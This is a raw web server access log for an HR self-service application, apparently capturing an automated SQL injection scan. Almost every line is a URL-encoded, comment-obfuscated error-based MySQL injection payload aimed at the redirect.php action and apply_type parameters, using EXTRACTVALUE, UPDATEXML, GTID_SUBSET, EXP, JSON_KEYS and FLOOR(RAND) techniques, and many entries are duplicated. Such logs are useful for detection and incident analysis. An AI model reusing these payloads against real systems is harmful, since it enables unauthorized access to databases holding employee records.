100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6e454868%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53424549%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FI3S2&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6e454868%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53424549%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FI3S2&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7550574a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7166666b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FAXdh&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7550574a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7166666b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FAXdh&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x35737530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35443633%29%2C6420%29--%2F%2A%2A%2FvEJz&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x35737530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35443633%29%2C6420%29--%2F%2A%2A%2FvEJz&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30536832%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47305769%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FvmGm&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30536832%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47305769%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FvmGm&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5774464f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x614c4a30%29%29--%2F%2A%2A%2FNElX&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5774464f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x614c4a30%29%29--%2F%2A%2A%2FNElX&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x754d6e62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70566873%29%2C5431%29--%2F%2A%2A%2FrK4J&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x754d6e62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70566873%29%2C5431%29--%2F%2A%2A%2FrK4J&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x41463467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36794179%29%29--%2F%2A%2A%2FwCA8&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x41463467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36794179%29%29--%2F%2A%2A%2FwCA8&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d796944%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44714541%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F9PnJ&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d796944%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44714541%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F9PnJ&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x414b6369%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61643449%29%2C5431%29--%2F%2A%2A%2FTcg0&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x414b6369%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61643449%29%2C5431%29--%2F%2A%2A%2FTcg0&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6e4b4f73%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3271377a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Furp9&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6e4b4f73%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3271377a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Furp9&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f786643%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7877525a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F6kDU&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f786643%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7877525a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F6kDU&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x48623978%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49394f39%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F3UKI&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x48623978%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49394f39%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F3UKI&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x39746f47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52366b72%29%29x%29%29--%2F%2A%2A%2FyzPC&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x39746f47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52366b72%29%29x%29%29--%2F%2A%2A%2FyzPC&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a743067%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65535a4d%29%29x%29%29--%2F%2A%2A%2FR1aN&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a743067%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65535a4d%29%29x%29%29--%2F%2A%2A%2FR1aN&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5a677364%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35666d36%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FukEA&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5a677364%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35666d36%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FukEA&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x694c5653%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664f594b%29%2C6420%29--%2F%2A%2A%2FyNvR&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x694c5653%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664f594b%29%2C6420%29--%2F%2A%2A%2FyNvR&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x644d4d6d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76456152%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FiLQw%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6250357a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e4b5456%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FkAil%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6250357a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e4b5456%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FkAil%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x33686a47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674c4c76%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FJcbN&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
